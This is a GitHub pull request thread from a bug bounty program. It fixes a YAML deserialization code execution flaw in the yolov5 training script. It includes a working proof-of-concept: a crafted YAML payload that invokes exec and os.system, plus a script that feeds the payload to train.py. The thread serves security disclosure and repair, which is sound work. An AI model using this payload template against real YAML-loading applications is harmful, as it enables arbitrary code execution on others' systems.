Security Fix for Arbitrary Code Execution - huntr.dev

[huntr-helper]

https://huntr.dev/users/Anon-Artist has fixed the Arbitrary Code Execution vulnerability 🔨. Think you could fix a vulnerability like this?

Get involved at https://huntr.dev/

Q | A
Version Affected | ALL
Bug Fix | YES
Original Pull Request | 418sec#1
Vulnerability README | https://github.com/418sec/huntr/blob/master/bounties/other/yolov5/1/README.md

User Comments:

📊 Metadata *

Arbitrary Code Excecution in ultralytics/yolov5. Yolov5 is a Object Detection model from Ultralytics. Ultralytics is a U.S.-based particle physics and AI startup with over 6 years of expertise supporting government, academic and business clients. Ultralytics offer a wide range of vision AI services, spanning from simple expert advice up to delivery of fully customized, end-to-end production solutions.

Bounty URL: https://www.huntr.dev/bounties/1-other-yolov5

⚙️ Description *

This package was vulnerable to Arbitrary code execution due to a use of a known vulnerable function load() in yaml.

💻 Technical Description *

Fixed by avoiding unsafe loader.

🐛 Proof of Concept (PoC) *

Create the following PoC file:
exploit.py

import os
exploit = '''!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
'''
os.system('git clone https://github.com/ultralytics/yolov5.git')
os.chdir('yolov5/')
os.system('rm exploit.yml')
open('exploit.yml','w+').write(exploit)
os.system('python train.py --data exploit.yml --cfg exploit.yml --weights "" --batch-size 24')

Execute the following commands in another terminal:

python3 exploit.py

Check the Output:

xcalc will pop up.

🔥 Proof of Fix (PoF) *

After fix it will not popup a calc

👍 User Acceptance Testing (UAT)

After fix functionality is unaffected.

🛠️ PR Summary

_{Made with ❤️ by Ultralytics Actions}

🌟 Summary

Improved security in YAML file loading within the training script.

📊 Key Changes

• Changed YAML loader from FullLoader to SafeLoader in the train.py script.

🎯 Purpose & Impact

• 🛡️ Purpose: The change enhances the security by preventing the execution of arbitrary code during the YAML loading process.
• 🦺 Impact to Users: Users will benefit from safer parsing of YAML files when setting up their training configurations, reducing the risk of malicious exploits.

[github-actions]

👋 Hello @huntr-helper, thank you for submitting a 🚀 PR! To allow your work to be integrated as seamlessly as possible, we advise you to:

• ✅ Verify your PR is up-to-date with origin/master. If your PR is behind origin/master update by running the following, replacing 'feature' with the name of your local branch:

git remote add upstream https://github.com/ultralytics/yolov5.git
git fetch upstream
git checkout feature  # <----- replace 'feature' with local branch name
git rebase upstream/master
git push -u origin -f

• ✅ Verify all Continuous Integration (CI) checks are passing.
• ✅ Reduce changes to the absolute minimum required for your bug fix or feature addition. "It is not daily increase but daily decrease, hack away the unessential. The closer to the source, the less wastage there is." -Bruce Lee

[glenn-jocher]

@Anon-Artist thanks for the PR! I was not aware of the yaml security vulnerability.

The yaml FullLoader is actually used in multiple locations within the repo, I think in models/yolo.py and possibly hubconf.py, should all these instances of FullLoader use be modified as well?

[Anon-Artist]

Yes need to modify thats too i will put another PR for that if you wish 🙂

…

On Mon, Jan 18, 2021, 3:42 AM Glenn Jocher ***@***.***> wrote: @Anon-Artist <https://github.com/Anon-Artist> thanks for the PR! I was not aware of the yaml security vulnerability. The yaml Fullloader is actually used in multiple locations within the repo, I think in yolo.py and possibly hubconf.py, should all these instances of Fullloader use be modified as well? — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <#1962 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AOV66JVNR4STBNB6MMEGRMDS2NOFLANCNFSM4WF6BMSQ> .

[glenn-jocher]

@Anon-Artist ok! Yes another PR sounds good for the remaining instances.

[Anon-Artist]

@glenn-jocher i had created 5 more PR in each and everywhere the unsafe function used

#1968
#1969
#1970
#1971
#1972

Please do merge them then
yolov5 is safe from Yaml Deserialization Vulnerability leads to Arbitary Code Execution

[glenn-jocher]

@Anon-Artist all done!

Thank you for your contributions.

[Anon-Artist]

Always welcome @glenn-jocher and thanks to huntr team and @JamieSlome for this opportunity 😃

[akashlinux10may]

While deploying the application in real time production using yolov5 custom model, in checkmarx scan I got the high severity warning for following files.

yolov5\models\experimental.py (line 88)
Warning: Attacker can inject and run arbitrary code

yolov5\hubconf.py (line 143)
Warning: Attacker can inject the code via user input.

Impact: Could not able to run the model in secure environment.

Any resolution?

[glenn-jocher]

@akashlinux10may thanks for your feedback! We take security seriously and are continuously working to improve YOLOv5. The warning you received from Checkmarx will be addressed promptly by the Ultralytics team. We'll ensure that the code is reviewed and necessary security measures are put in place. Thank you for bringing this to our attention.